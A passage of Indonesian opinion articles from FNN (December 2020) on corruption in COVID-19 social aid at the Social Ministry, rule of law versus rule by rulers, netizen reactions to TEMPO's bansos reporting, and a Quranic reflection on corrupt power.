Korupsi adalah kejahatan extra ordinary crime. Sehingga tingkat kerusakannya demikian besar. Ada beberapa kerusakan akibat dampak korupsi ini. Berdasarkan Background Paper Declaratioan of 8 International Conference Against Corruption di Lima, Peru 2002, ada tujuh dampak korupsi yang melatarbelakangi internasionalisasi kejahatan korupsi. Pertama, korupsi dianggap merusak demokrasi. Kedua, sambung najih, korupsi dianggap merusak aturan hukum, teristimewa pembuatan undang-undang yang sarat dengan praktik suap-menyuap dan dalam penegakan hukum. Ketiga, korupsi menghambat pembangunan berkelanjutan. Keempat dari korupsi adalah merusak pasar. Kelima, korupsi merusak kualitas hidup, khususnya korupsi di sektor pendidikan dan kesehatan. Keenam, korupsi dapat membahayakan keamanan manusia. Terakhir, korupsi melanggar hak asasi manusia. Melihat dampak Korupsi yang sedemikian besar tersebut di atas, jelas bahwa korupsi bukanlah kejahatan biasa. Melainkan kejahatan yang luar biasa. Sehingga dalam melakukan upaya pemberantasannya harus dengan cara-cara yang luar biasa juga. Karena itu, di dalam Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi (Tipikor), kita mengenal istilah hukuman mati bagi koruptor. Hal itu terbaca dalam Pasal 2 ayat (1) yang menyebutkan “setiap orang yang secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara atau perekonomian negara, dipidana penjara dengan penjara seumur hidup atau pidana penjara paling singkat 4 (empat) tahun dan paling lama 20 (dua puluh) tahun dan denda paling sedikit Rp. 200.000.000,00 (dua ratus juta rupiah) dan paling banyak Rp. 1.000.000.000,00 (satu milyar rupiah)”. Sedangkan, di dalam ayat (2) disebutkan “dalam hal tindak pidana korupsi sebagaimana dimaksud dalam ayat (1) dilakukan dalam keadaan tertentu, pidana mati dapat dijatuhkan”. Keadaan tertentu dalam penjelasan Pasal 2 ayat (2) tercantum, bahwa yang dimaksud dengan “keadaan tertentu” dalam ketentuan ini adalah keadaan yang dapat dijadikan alasan pemberatan pidana bagi pelaku tindak pidana korupsi, yaitu apabila tindak pidana tersebut dilakukan terhadap dana-dana yang diperuntukan bagi penanggulangan keadaan bahaya, bencana alam nasional, penanggulangan akibat kerusuhan sosial yang meluas, penanggulangan krisis ekonomi dan moneter, dan pengulangan tindak pidana korupsi. Korupsi di Kemensos Data Kementerian Keuangan menunjukkan bahwa anggaran penanganan covid sudah mencapai Rp. 677 triliun. Dengan pembagian struktur PEN menjadi sebanyak Rp.87,55 triliun untuk kesehatan, perlindungan sosial Rp. 203,9 triliun, insentif usaha Rp. 120,61 triliun, UMKM Rp. 123,46 triliun, pembiayaan korporasi Rp. 53,57 trilun dan sektoral/pemerintah daerah Rp. 106,11 triliun. Melihat data tersebut, anggaran perlindungan sosial yang dikelola oleh Kementrian Sosial sangat besar, yaitu senilai Rp. 203,9 triliun. Sedangkan realisasi anggaran sudah mencapai Rp 144,4 triliun. Namun dibalik anggaran besar, dan realisasi anggaran tersebut, ternyata ada praktek korupsi yang masif terjadi di Kementerian Sosial. Hal ini sangat melukai perasaan masyarakat. Oleh karena itu, dalam situasi bencana nasional sebagaimana yang telah di tetapkan oleh presiden dalam Kepres Nomor 12 Tahun 2020, sampai saat ini masih berlaku, maka sesuai dengan rumusan Pasal dalam UU Tipikor di atas, terbuka peluang hukuman mati bagi para koruptor yang melakukan korupsi dana bantuan sosial terkait bencana nasional yang sedang dihadapi negara saat ini. Apalagi anggaran tersebut diperuntukan untuk pemulihan ekonomi nasional akibat krisis ekonomi dan moneter yang sedang menimpa Indonesia saat ini. Karena itu, dalam perspektif hukum pidana, tersangka korupsi di Kementrian Sosial dapat di dakwah melakukan tindak pidana korupsi dalam keadaan tertentu dan dapat dijatuhi hukuman mati. Wallahualam Bis shawab. Penulis adalah Ketua Presidium Nasional Pemuda Madani & Ketua Lembaga Dakwah DPP IMM

Nasib Rule of Law dan Rule by Ruler’s

by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – Rabu (23/12). Negara hukum yang demokratis itu selalu dirindukan orang. Karena menjanjikan keagumngan setiap individu. Sesuai konteks historisnya, konseop ini menandai naiknya moralitas baru tentang hakikat manusia dan kemanusiaan. Rindu itu yang terus bergerak. Mengurung dan memukau kaum reformasi Indonesia di tahun 1998. Kaum reformasi ini lelah melihat keangkuhan dan kesewenang-wwenangan kekuasaan ketika itu. Lelah melihat law and guns digunakan secara serampangan atas nama keamanan nasional. Keamanan yang didefenisikan secara suka-suka hati oleh penguasa. Ambisi kaum reformasi itu berhasil didesakan dan ditulis dalam UUD 1945 yang diuba sebanyak empat kali. Perubahan secara berturut-turut sejak 1999-2002. Tetapi seperti terekam dalam sejarah hukum, menulis konsep itu dalam UUD adalah satu soal. Sementara merealisasikannya dalam kehidupan bernegara adalah soal lain. Pelik memang. Mengapa? Penuh Dengan Manipulatif Kepelikan ini, sebagian disebabkan konsep yang berinduk pada liberalisme klasik itu. Konsep yang sama sekali tak bicara, sekalipun hanya sedikit, tentang pemimpin dan kepemimpinan politik. Konsep itu juga tak bicara, sekalipun hanya sekelumit, derajat tertib sosial dan politik macam apa yang berkerangka rule of law, yang pantas untuk dikreasikan. Itu peliknya konsep yang berinduk pada liberalism klasik ini. Ihwal tertib sosial dan politik, liberalisme klasik hanya menyodorkan, dalam makna mengandalkan toleransi dan saling menghormati yang berbasis saling memahami antar setiap individu merdeka sebagai kuncinya. Hanya itu titik. Tak lebih. Maxim itu terlihat cukup jelas dalam pandangan Adam Smith, filosof dan ekonom liberal kawakan itu. Smith yang menaruh kepercayaan kuat terhadap rasio, menunjuk cara itu sebagai metode terbaik. Pijakan itu membawanya pada konsep pemerintahan minimum. Pemerintahan jenis ini digambarkan Smith sebagai night watchman state, negara penjaga malam. Libealisme memang begitu skeptik terhadap pemerintah. Dalam mazim liberalisme klasik, pemerintah dibayangkan selalu menjadi faktor. Setidaknya memiliki potensi membahayakan kemerdekaan individu. Semakin besar pemerintah terlibat dalam kehidupan masyarakat, semakin besar potensi terjadinya kerusakan pada masyarakat itu. Seminimum itu sekalipun peranan pemerintah, rule of law tetap diandalkan untuk, pada level konseptual, sebagai cara terbaik menjaga kemerdekaan individu. Dala esensinya, rule of law diandalkan untuk menjinakan tindakan-tindakan sewenang-wenang pemerintah. Untuk tujuan itu, rule of law mengikatkan pemerintah pada hukum. Di Inggris misalnya, cara itu diusahakan secara bergelombang. Diawali, ambisi misalnya dengan pembentukan Petition of Right 1828, yang diprakarsai pembentukannya oleh Sir Edward Choke, ahli hukum paling cemerlang dengan konsistensinya menantang absolutisme raja, disusul Habes Corpus Act 1679. Habes Corpus Act itu dapat diparalelkan dengan KUHAP, yang dibuat tahun 1981. Menariknya sekalipun rule or law sedari awal mencurigai pemerintah, dan bukan rakyat sebagai kekuatan politik yang berpotensi besar merusak kemerdekaan individu, ternyata tersedia celah, yang memungkinkan konsep hebat itu diperkuda oleh penguasa kerdil. Pergeseran rule of law ke rule by ruler’s, tersaji baik dalam alam politik fasistik dan totalitarian maupun demokratis. Penguasa-penguasa itu, dengan kecerdasan piciknya, menemukan dan mengambil “keamanan nasional” sebagai justifikasinya. Salus Populi Suprema Lex Esto yang merupakan pernyataan dari Markus Tulius Cicero, dala dialognya dengan anaknya diambil dan dijadikan justifikasi begitu saja. Salus, yang bermakna etimologis sebagai security atau savety bagi populous, bukan roman noblemen adalah inti konteks pernyataan itu. Struktur masyarakat Romawi yang menjadi latar sosialnya kala itu, tersusun secara hirearkis. Plebian, patrician dan optimate juga slave, merupakan struktur masyarakat Romawi kala itu. Aristokrat, faksi khusus pada patrician, pada masanya teridentifikasi sebagai entitas utama yang menikmati kebijakan republik. Ini dicemaskan, bahkan ditolak Cicero. Itu sebabnya Cicero, dalam bukunya De Legibus atau Hukum, membayangkan seharusnya keamanan dinikmati oleh seluruh rakyat, bukan hanya sekelompok orang saja. Sangat Berbahaya Lenin, Musolini, Hitler dan Agusto Pinoche, untuk menyebut beberapa saja, menjaga pemerintahannya dengan doktrin Cicero Salus Populi Suprema Lex Esto itu. Berbeda dengan masyarakat demokratis, pemerintahan-pemerintahan fasis, yang otomatis totalitarian mengambil kolektifisme sebagai basis sistem sosial politiknya. Konsep ini mereduksi eksistensi individu. Individualisme diganti dengan kolektivisme sebagai basis sosial politik idiologisnya. Kolektivisime, bukan indivudalisme, yang supreme dalam negara itu. Dalam tampilan praktisnya, konsep kolektivisme itu ditransformasi pada personal pemimpin. Pemimpin tersaji dalam politik itu sebagai personifikasi negara. Dan negara menjadi personifikasi masyarakat secara kolektif. Pemimpin, sebagai konsekuensi lanjutannya dalam tampilan praktis bernegara, muncul menjadi integrator seluruh unsur dalam negara. Integrator, sebagaimana diperlihatkan sejarah, selalu berada di puncak piramida seluruh pranata sosial politik negara. Persis seperti sumber air, integrator tersaji menjadi pendefenisi utama seluruh asek kehidupan bernegara. Sehebat itu sekalipun, rezim-rezim itu tidak mampu memberi tolerasi pada keragaman pendapat. Keragaman, oleh rezim-rezim ini dilihat sebagai pantulan liar individualisme, sesuatu yang bertolak belakang secara mendasar dengan konsep kolektivisme. Tertib sosial diseragamkan pada semua aspeknya. Rezim ini, sebagai akibatnya memonopoli kebenaran dalam bernegara, ya hanya kebenaran tunggal. Pemerintah yang memegan monopoli itu. Salus Populi Suprema Lex Esto pun akhirnya menemukan pijakan idiologis untuk eksis. Eksistensinya dipertalikan dengan tujuan nasional negara itu. Dan tujuan nasional, dalam kenyataannya, didefenisikan secara monopoli oleh penguasa. Tidak di luar penguasa. Demi tujuan nasional, kebebasan berserikat dan menyampaikan pendapat, harus dibatasi, praktek yang menjadi tipikal politik selurh rezim fasis dan totalitarian. Tetapi menariknya, fasisme dan totalitarian itu juga digerakan dengan hukum sebagai alat utamanya. Tidak seperti di negara demokratis, hukum yang mengambil bentuk decree, keputusan-keputusan ad hod penguasa. Tidak benar-benar sama dalam substansi dengan postur republik Romawi yang Cicero hidup di dalamnya. Tetapi apa yang dilakukan Pompey Magnus, menarik disajikan. Tidak bicara kolektivisme pada kekonsulannya, tetapi Eric S. Gruen, dalam bukunya The Last Generation of The Roman Republic, diterbitkan oleh University of California Press 1974, mengidentifikasi pembatasan kebebasan berserikat dan menyampaikan pendapat tipikal pemerintahan Pompey. Organisasi yang didalamnya terhimpun banyak orang, oleh Pompey, konsul pada waktu itu, dinilai berbahaya. Penilaian itu menjadi alasan Pompey merancang kriteria untuk mengasingkan orang-orang dan kelompok-kelompok yang dicurigai itu. Untuk tujuan itu, Pompey mentransformasi ke dalam dan rujukan utamanya. Hukum ini dikenal dengan Lex Gabina. Lex ini melarang perkumpulan-perkumpulan bawah tanah, clandestein, berkumpul di kota. Lex Gabina, melengkapi Lex Lutatio, yang telah lebih dahlu ada, yang esensinya melarang tindakan menghasut, seditio atau sedition. Cakupannya meliputi larangan terhadap tindakan menyerang public figure dan isu-isu publik. Kebenaran, jelas dalam semua aspeknya, hanya bertumpu pada apa yang dinyatakan oleh pemimpin dan aparatur negara. Suara-suara di luar yang disetujui negara, menemukan kenyataan tragis. Suara-suara itu, seperti biasa, segera ditunjuk sebagai suara subversif, dalam makna berkualifikasi melanggar hukum pidana. Rule of law ala Pompey inilah yang dengan sedikit modifikasi dipraktekan oleh, ambil misalnya Lenin dan Breznev di Uni Soviet, Musolini di Italia dan Hitler di Jerman. Modifikasi hanya sebatas menambah unsur kolektif sebagai basis idiologisnya, sesuatu yang tidak digunakan Pompey Magnus di Romawi kuno. Pola Pompey ini pulalah, untuk beberapa alasan, terlihat sedang bekerja di Hongkong. Masyarakat demokratis itu, kini terkekang oleh Salus Populi Suprema Lex Esto, yang ditransformasi ke dalam UU Keamanan Nasional, yang pembentukannya didukung pemerintahan China. UU yang baru disahkan itu, dalam kenyataan memberi justifikasi kepada pemerintah menghentikan setiap suara rakyat yang berbeda, kritis pada kebijakan pemerintah. UU Keamanan Nasional inilah, sejauh dapat diverifikasi, digunakan Polisi Hongkong untuk menangkap Jimmy Lai dan Agnes Chou, dua tokoh produktif pro demokrasi Hongkong. Apakah Indonesia mutakhir sedang bergerak mendekat ke praktek itu itu? Apakah kematian tragis petugas pemungutan suara pada pemilu lalu, ditersangkakannya demonstran UU Cipta Kerja, ditersangkakannya Sahganda Nasinggolan, Jumhur Hidayat, Anton Permana, Habib Rizieq, dan peristiwa Kilometer 50” yang mengakhiri 6 (enam) nyawa pengawal Habib Rizieq, memiliki resonansi itu? Itu soal menarik yang memerlukan analisis tersendiri nanti di tulisan berikutnya. Beralasankah menimbang pembedaan perlakuan hukum untuk kasus kerumunan, diletakan pada perspektif di atas? Penggunaan hukum “hasutan” atau yang pada pemerintahan Pompey disebut “seditio” itu terlihat mulai mudah dijumpai dalam kehidupan mutakhir sekarang. Hukum “penyebaran berita bohong, yang membuat onar” yang diatur dalam UU Nomor 1 Tahun 1946, terlihat yang semakin sering untuk digunakan. Sembari menanti munculnya keberanian orang untuk menganalisisnya, terasa masuk akal bila kenyataan empirik itu menggoda orang mempertanyakan derajat validitas konstitusional atas tampilan rule of law mutakhir. Rule of law atau rule of ruler? Menarik dianalisis pada waktunya. Konsep rule of law dalam alam demokrasi, mengharuskan siapapun menerima rule as a law. Bukan ruler’s as a law. Norma-norma UUD 1945 memaksa siapapun untuk mengerjakan rule of law dalam karangka itu. Begitulah para pendiri bangsa yang hebat-hebat itu berharap. Salus Populi Suprema Lex Esto, karena itu, mutlak dipertalikan dengan rule of law dalam kerangka norma-norma UUD 1945. Salus Populi Suprema Lex Esto, yang tak ada seorang waras pun menyangkal urgensinya itu, tidak bisa dianggap justifikatif hanya penilaian ad hoc semata. Tiba saat, tiba akal. Berkerangka kerja konstitusional seperti itu, mengakibatkan identifikasi “keamanan nasional” atau keamanan individu atau masyarakat, harus dipertalikan dengan norma hak asasi manusia yang didefenisikan dalam UUD 1945. Yang ini absolut dalam semua aspeknya. Norma-norma itu, terlepas dari apakah mewakili pandangan liberal klasik atau tidak, merefleksikan klaim moral, yang Eamon Butler, dalam bukunya Clasical Liberalism, diterbitkan pertama kali oleh Institute of Economic Affair (IEA), tahun 2015, menggambarkan justice require force, but force requires justification. Tidak bisa sewenang-wenang. Begitu esensinya. Justifikasi sosiologis atau hukum? Justifikasi sosiologis memungkinkan terjadinya reduksi atas objektifitas. Pilihan konstitusionalnya adalah justifikasi hukum. Mengapa? Rule of law mengharuskan siapapun menerima hukum sebagai hal objektif, dan melarang pertimbangan-pertimbangan subjektif. Hanya begitu pilihannya. Bukan selain itu. Bentuk empirik dari subjektif itu terefleksi dari sikap anti kelompok ini, pro kelompok itu. Kelompok ini begini dan kelompok itu begitu, persis yang dipraktekan Nazi pada Hitler. Rule of law dan ilmu hukum jelas dalam soal itu. Subjektifitas tidak diberi tempat dalam penegakan hukum. Pahami itu baik-baik. Rule of law secara absolute mengharuskan aparatur memelihara pikiran dan tindakannya dengan objektifitas. Penegakan hukum, harus, tanpa alasan, memenuhi prinsip-prinsip due process of law atau due process clause. Prinsip-prinsip ini tersebar dalam UUD 1945, KUHAP dan peraturan lainnya. Mengesampingkan prinsip-prinsip itu, sama dengan membawa bangsa ini terjatuh ke dalam kubangan fasisme dan totalitarianism. Seluruh aspek kehidupan ditentukan oleh pemimpin. Bukan soal rule of law akan tergantikan dengan rule by ruler’s. Tetapi penyankalan terhadap hakikat alamiah manusialah yang menjadi masalah besar. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Kata Netizen, “#Tangkap Anak Pak Lurah!”

by Mochamad Toha Surabaya FNN - Selasa (22/12). Tangkap Anak Pak Lurah! Nggragas kok pol-polan. Tas bansos saja diembat. Vangke...” Begitu tulis netizen Arie Karimah, Pharma-Excellent, Alumni ITB, di akun Facebook-nya, Senin (21/12/2020). Respon pun beragam. Antara lain, seperti berikut: Wahyudi Gondin: Bukan gragas tapi original. Ani Rohani Panjaitan: Pengen denger komentar dari para 'pemuja' nya. Yang selama ini 'mengagungkan' keluarga pak lurah dan turunannya bersih, gak KKN, gak rakus jabatan, selalu berusaha mandiri. Preeeeettt.... Nelly Siswati Baswir: Ktnya nyambung jg ya ke anak bu Camat... Muhammad Ferdian Nuur: Dana bansos dikorupsi, tapi sibuk nuduh kotak amal sumber dana teroris. Budiwanti Nasution: Muhammad Ferdian Nuur, barusan beli soto di SSB...ada kotak ...terus perhatiin kotak amal .. Daan apa .. ah dengernya sakit hati . Cuma ujungnya dia bilang ..hati hati aja .. Antje Mtz II: Ngragas sudah bakat dari sebelum bapakne dadi lurah masih sbg "kader binaan" OomPung. Diah Nur Hayanti: Bisa jadi, danan operasional dari yang kecil-kecil menjadi besar. Ibarat iuran Bu. Ratih Oemiati: #TangkapAnakPakLurah#. Yusmainar 'Niar': Rakus serakus rakusnya... Rahmiyati Znoer: Tempo....keren ya..berani bongkar2. Sebelumnya, Majalah TEMPO Edisi 21-27 Desember 2020 dengan judul cover “Koruspi Bansos Kubu Banteng” menyoroti sepak terjang elit PDIP dalam korupsi Bansos. Dalam sebuah judul di Majalah TEMPO, “Otak-Atik Paket Bansos dan Jatah untuk Pejabat Negara” ditemukan adanya peran putra Presiden Joko Widodo, Gibran Rakabuming Raka dalam pengadaan goodie bag yang diproduksi PT Sritex. Konon, nama Sritex merupakan rekomendasi Gibran. Hanya saja penyebutan untuk Gibran disamarkan oleh sumber TEMPO dengan kode “Anak Pak Lurah”. Oleh TEMPO, kode “Pak Lurah” disebut mengacu ke Jokowi. Masih menurut laporan Majalah TEMPO, pada akhir April lalu, mantan Mensos Juliari Peter Batubara telah menyatakan mengajak perusahaan yang berbasis di Sukoharjo, Jawa Tengah untuk memproduksi goodie bag. Politikus PDIP Deddy Sitorus mempertanyakan data yang diperoleh Majalah TEMPO. Sebab seharusnya, data yang didapat tersebut menjadi dokumen hukum yang seharusnya dibuka di pengadilan. “TEMPO tahu dari mana? Terserah mereka-lah. Nanti di tingkat pengadilan, kalau tidak benar nanti kita sue (tuntut) TEMPO-nya,” ujarnya, seperti dilansir SuaraNasional.com, Minggu (20/12/2020). Perusahaan tekstil raksasa Sritex mendapat jatah pembuatan 1,9 juta kantong kemasan, berkat rekomendasi “Anak Pak Lurah”, Gibran Rakabuming Raka, yang baru memenangkan Pilkada Kota Solo pada Pilkada Serentak 2020, 9 Desember lalu. PDF, _screenshot_ majalah TEMPO menyebar dengan cepat di media sosial. Media-media online juga ikut ramai mengutip laporan TEMPO dan memberitakannya. Pemberitaan media dan tagar #TangkapAnakPakLurah ini, direaksi kubu pendukung Presiden Jokowi. “Sejak Senin pagi (21/12/2020) tagar #TempoMediaASU mulai bergema. Dan, masuk dalam trending topic Indonesia, namun belum bisa mengalahkan #TangkapAnakPakLurah,” ungkap wartawan senior Hersubeno Arief. Riuh rendahnya pemberitaan dan tagar Anak Pak Lurah ini juga membuat Gibran gerah. Dia menantang agar KPK segera menangkapnya. “Silakan tangkap kalau ada bukti,” tantangnya. Melihat pilihan kosa kata ASX, kita sesungguhnya sudah bisa menduga siapa yang bermain di belakang tagar ini. Kosa kata itu khas gaya Jawa Tengah-an, khususnya kota Solo. Kata itu adalah sebuah makian. Menunjukkan betapa kesal dan marahnya mereka kepada Majalah TEMPO. TEMPO Group dalam beberapa pekan terakhir memang tidak hanya menelanjangi Juliari dan PDIP, tapi juga menyerang “Anak Pak Lurah”. Masih ingat saat ramai-ramai menjelang Pilpres 2019 lalu? Bupati Boyolali Seno Samudro memaki Capres Prabowo ASX. Gara-garanya, hanya karena Prabowo Subianto mengucapkan guyonan “Tampang Boyolali”. Sebuah makian yang sangat tidak pantas terhadap seorang capres. Apalagi kini Prabowo malah menjadi Menhan dalam Pemerintahan Presiden Jokowi. *Rekom Gibran?* Dalam Laporan Utama Majalah TEMPO Edisi 21-27 Desember 2020 disebutkan, masuknya nama Sritex sebagai penyedia goodie bag bansos merupakan rekomendasi dari putra Presiden Joko Widodo, Gibran Rakabuming Raka. Juliari diduga bertemu dengan salah seorang anggota staf Puan Maharani – yang oleh netizen disebut “Anak Bu Camat” yang mengarah ke Megawati Soekarnoputri – berinisial L. Dalam pertemuan itulah duit miliaran rupiah diserahkan kepada perempuan tersebut. Dua hari sebelum ditahan di rutan KPK, Mensos Juliari menghadap Presiden Jokowi di Istana Bogor, Jumat pagi, 27 November lalu. Bersama Menko PMK Muhadjir Effendy dan Menkeu Sri Mulyani Indrawati, Juliari melaporkan perkembangan penyaluran bansos untuk masyarakat yang terdampak Corona virus Disease 2019 (Covid-19). Kepada TEMPO di kantomya pada Selasa, 15 Desember lalu, Muhadjir mengatakan, dalam pertemuan tersebut, Presiden Jokowi meminta tahun depan bantuan sosial diberikan dalam bentuk tunai selama 6 bulan. “Presiden bilang bansos sembako sudah cukup,” kata Muhadjir. Rencananya, duit yang dibagikan per bulan bemilai Rp 300 ribu. Menurutnya, pemberian bansos membetot perhatian Jokowi sejak awal. Sehari seusai pertemuan di Istana, Ketua KPK Firli Bahuri mengumumkan Juliari menjadi tersangka penerima suap bansos. Sebelumnya, KPK mencokok pejabat pembuat komitmen Kementerian Sosial, Matheus Joko Santoso, dan sopimya; Sanjaya, Presiden Direktur PT Tigapilar Agro Utama Ardian Iskandar Maddanatja; broker Harry van Sidabukke; serta beberapa orang lain di Jakarta dan Bandung. “Penyerahan uang dilakukan pada Sabtu pukul 02.00 di salah satu tempat di Jakarta,” kata Firli. KPK menyita duit Rp 14,5 miliar dalam penangkapan tersebut. Pemberian fulus itu diduga bertujuan agar Juliari dan anak buahnya memilih perusahaan Ardian dan Harry sebagai vendor penyedia bansos di kawasan Jabodetabek. Ardian dan Harry menjadi tersangka pemberi suap, sedangkan Juliari dan dua anak buahnya, Matheus Joko Santoso dan Adi Wahyono, menjadi tersangka penerima suap. Dari pengusaha ini, Juliari diduga telah menerima suap senilai Rp 17 miliar. Duit ini dipungut dari pemotongan dana bantuan sosial sebesar Rp 10 ribu dari paket bahan pokok seharga Rp 300 ribu. Selama 8 bulan ini, sudah 23,708 juta paket senilai Rp 6,464 triliun yang disalurkan. “Diduga disepakati adanya fee dari tiap-tiap paket pekerjaan yang haruss disetorkan para rekanan pada Kementerian Sosial melalui Matheus Joko,” ujar Firli. Pada Ahad dinihari, 6 Desember 2020 lalu, setelah anak buahnya ditangkap KPK, Juliari menyerahkan diri kepada komisi antikorupsi. Setelah diperiksa KPK, dia menyatakan akan mengikuti proses hukum. “Mohon doanya,” kata Juliari kepada para pewarta . Program bantuan sosial bagi masyarakat yang terdampak Covid-19, yang terdiri atas 14 tahap, dua diantaranya buat komunitas, diduga dirancang untuk menjadi proyek bancakan. Mendasarkan pada regulasi kedaruratan bencana. Kemensos pada Rabu, 8 April 2020, menetapkan mekanisme penunjukan langsung pada perusahaan penyedia paket bahan pokok, penyedia goodie bag, hingga untuk jasa pengiriman bantuan sampai ke kelompok penerima manfaat. Memilih vendor, Menteri Juliari Batubara membentuk tim khusus yang beranggota Direktur Jenderal Perlindungan dan Jaminan Sosial Pepen Nazaruddin serta dua pejabat pembuat komitmen, Matheus Joko Santoso dan Adi Wahyono. Dua pengusaha dan seorang sumber di Kemensos bercerita, tim Juliari itu kerap menggelar pertemuan dengan calon rekanan di restoran Sate Khas Senayan seberang Kemensos, Jalan Salemba, Jakarta Pusat. Sejak awal penunjukan, Matheus dan Adi meminta fee Rp 10 ribu per paket. Menurut sumber yang sama, duit itu diserahkan setelah perusahaan mereka mendapat surat perintah kerja dari Kementerian Sosial. Mereka bercerita, belakangan Matheus dan Adi meminta tambahan upeti, selain Rp 10 ribu untuk Juliari Batubara, sebesar 10-12 persen dari nilai pengadaan. Penyebabnya, paket itu ada pemiliknya, yakni sejumlah politikus dan pejabat pemerintah. Nilai rupiah yang “dicopet” itu, seperi informasi yang diterima KPK, mencapai Rp 100.000 per paket. Seperti ditulis Kompas.com, Senin (14 Desember 2020 | 16:13 WIB), bansos yang diterima masyarakat tersebut hanya senilai Rp 200.000 dari yang seharusnya Rp 300.000. “Kalau informasi di luar sih, itu dari Rp 300 ribu, paling yang sampai ke tangan masyarakat 200 (ribu), katanya, kan gitu,” kata Wakil Ketua KPK Alexander Marwata di Jakarta, Senin (14/12/2020), dikutip dari Tribunnews.com. Konon, duit hasil “copetan” dana bansos itu sebagian mengalir ke PDIP, dan dipakai untuk pemenangan calon dari PDIP pada Pilkada 2020 lalu. Benarkah? Ditunggu keberanian dan independensi KPK tentunya. Apalagi, Gibran sudah berani menantang KPK, jika “Anak Pak Lurah” ini terbukti ikut menikmati dana bansoss. Penulis wartawan senior fnn.co.id

Paniknya Kekuasaan Menurut Al-Quran Shamsi Ali

by Shamsi Ali Macazzart FNN - Selasa (22/12/20). Sebuah opini atau pendapat yang disampaikan, baik secara lisan atau tulisan, tidak selalu harus dimaknai sebagai serangan kepada orang-orang tertentu. Apalagi jika tafsiran itu terbangun di atas asumsi-asumsi politis. Al-Quran sendiri penuh dengan cerita masa lalu alias sejarah. Sejarah itu penting. Karena dengan sejarah manusia belajar untuk berubah dan menjadi lebih baik di masa kini dan mendatang. Salah satu sejarah yang sering terulang dalam Al-Quran adalah sejarah kekuasaan di masa lalu. Ada kekuasaan yang berkarakter “ketakwaan”. Yaitu kekuasaan yang terbangun di atas nilai-nilai kebenaran (Al-Haq), kejujuran (al-amanah), dan keadilan (al-adl). Tapi tidak sedikit pula kekuasaan yang terbangun di atas karakter “fujuur” (penyelewengan dan dosa). Kekuasaan ini penuh dengan ketidak jujuran dan kebohongan, ketidak adilan (kezholiman), bahkan kekejaman dan kebiadaban. Lalu menurut sejarah juga Allah Yang Maha Rahman selalu menghadirkan dari kalangan hamba-hambaNya sendiri untuk mengoreksi kekuasaan fujuur (Korup) itu. Musa AS diutus kepada Fir’aun, Ibrahim AS kepada Namrud, dan seterusnya. Dalam usaha mengoreksi kekuasaan itulah tidak jarang terjadi resistensi keras dari kekuasaan korup itu. Bahkan sering terjadi pembungkaman, represi bahkan eliminasi (pembunuhan). Ada dengan cara kasar dan terbuka. Tidak jarang juga dengan senyuman, bahkan keluguan. Tapi ada satu fakta sejarah yang perlu diingat. Bahwa opresi atau kezholiman dan kekejaman penguasa kepada rakyatnya terkadang bukan karena mereka kuat dan hebat. Sebaliknya, justeru justeru karena kepanikan, ketakutan, kelemahan, bahkan awal dari kejatuhan. Kapan dan kenapa Fir’aun tenggelam di laut Merah (Red Sea?). Kapan dan kenapa Namrud terbunuh oleh seekor nyamuk? Kapan dan kenapa Tsamud binasa? Kapan, kenapa dan bagaimana para penguasa zholim dalam sejarah hidup manusia mengalami kehancurannya? Al-Quran memberikan jawaban yang pasti. Bahwa kebinasaan dan kehancuran kekuasaan zholim dan keji itu terjadi di saat rintihan dan suara rakyat kecil tidak lagi terhiraukan. Di saat mereka yang lemah dan terzholimi mengadukan nasib mereka ke Penguasa langit dan bumi. Di saat-saat seperti itulah tabir samawi akan terbuka. Lalu antara doa-doa dan rintihan mereka dan Allah tiada lagi yang membatasi. Allah akan membuka pintu-pintu “nushroh” samawi yang wujudnya kadang di luar jangkauan logika manusia. Seringkali juga Allah tidak secara langsung menghabisi mereka. Justeru diberi kesempatan demi kesempatan untuk sadar. Ini yang dikenal dalam istilah Al-Quran dengan “al-istidraaj”. Fir’aun misalnya diingatkan berkali-kali dengan berbagai bentuk peringatan (azab). Tapi peringatan itu tidak dihiraukan. Hingga pada akhirnya ditenggelamkan oleh Allah di laut merah. Tenggelamnya Fir’aun menjadi indikasi langsung bahwa kekuasaan itu, sekuat apapun, jika kehilangan amanah dan keadilan akan tenggelam. Bisa secara fisik. Boleh juga secara non fisik. Secara fisik mungkin dengan terjungkalnya sang penguasa. Boleh juga tenggelam secara popularitas dan kecintaan publik. Yang pada akhirnya dibenci oleh rakyatnya sebenci-bencinya. Karakter Fir’aun yang keras kepala di hadapan berbagai peringatan mengindikasikan bahwa harapan untuk penguasa zholim berubah itu sangat kecil. Apalagi jika penguasa itu dikelilingi oleh berbagai pihak yang memang kuat dan punya kepentingan. Fir’aun misalnya dikelilingi oleh Haman sang penjilat kekuasaan dan Qarun yang memiliki kepentingan ekonomi. Dalam situasi seperti itu hanya intervensi Ilahi yang diharapkan. Dengan rintihan dan doa-doa tulus dari mereka yang “mahzluumiin” (terzholimi) Allah akan membuka pintu langit dengan ta’yiid (penguatan) dan “nashrun” (pertolongan) untuk mereka. Hal yang harusnya disadari oleh semua kalangan adalah bahwa kezholiman penguasa terhadap rakyat kecil adalah jalan kebencanaan yang besar bagi sebuah bangsa. Karena rakyat adalah “ra’iyah” (terjaga atau terlindungi) yang seharusnya memang dijaga, digembala, diurus, diperhatikan. Bukan ditekan, disemena-seme akan, dan ditelantarka demi kelanggenan kekuasaan itu sendiri. Hanya saja, memang kekuasaan yang sedang mengalami kepanikan akan berbuat apa saja, bahkan terkadang di luar nalar atau logika sehat manusia untuk mempertahankan kekuasaannya. terkadang rasa malu itu menjadi semakian kecil. Kebohongan, sandiwara, tipuan, dan tidak jarang urusan rakyat banyak dijadikan “mainan” demi kepentingan semata. Sebaliknya upaya koreksi kekuasaan oleh rakyat dibalik menjadi kejahatan, usaha penggulingan, dan lain-lain. Ini adalah realita Qurani: “dan jika dikatakan kepada mereka jangan merusak, mereka berkata kami ini orang-orang yang melakukan kebaikan” (Al-Baqarah:11). Prilaku irrasionalitas kekuasaan itu tergambarkan misalnya ketika Namrud terjepit oleh logika Ibrahim AS. Dengan arogansi dan perasaan menguasai segalanya dia menjerit bak kesurupan syetan “uqtuluuhu wanshuruu alihatakum” (bunuh Ibrahim dan tolonglah tuhan-tuhan kalian). Tapi konsistensi dan ketabahan Ibrahim di jalan kebenaran (Al-Haqq), seraya terus berjalan di lorong-losing juang itu, Pada akhirnya menemukan buahnya. “Innni jaa’iluka linnaasi imaama” merupakan buah dari perjuangan panjang itu. Dan karenanya di tengah 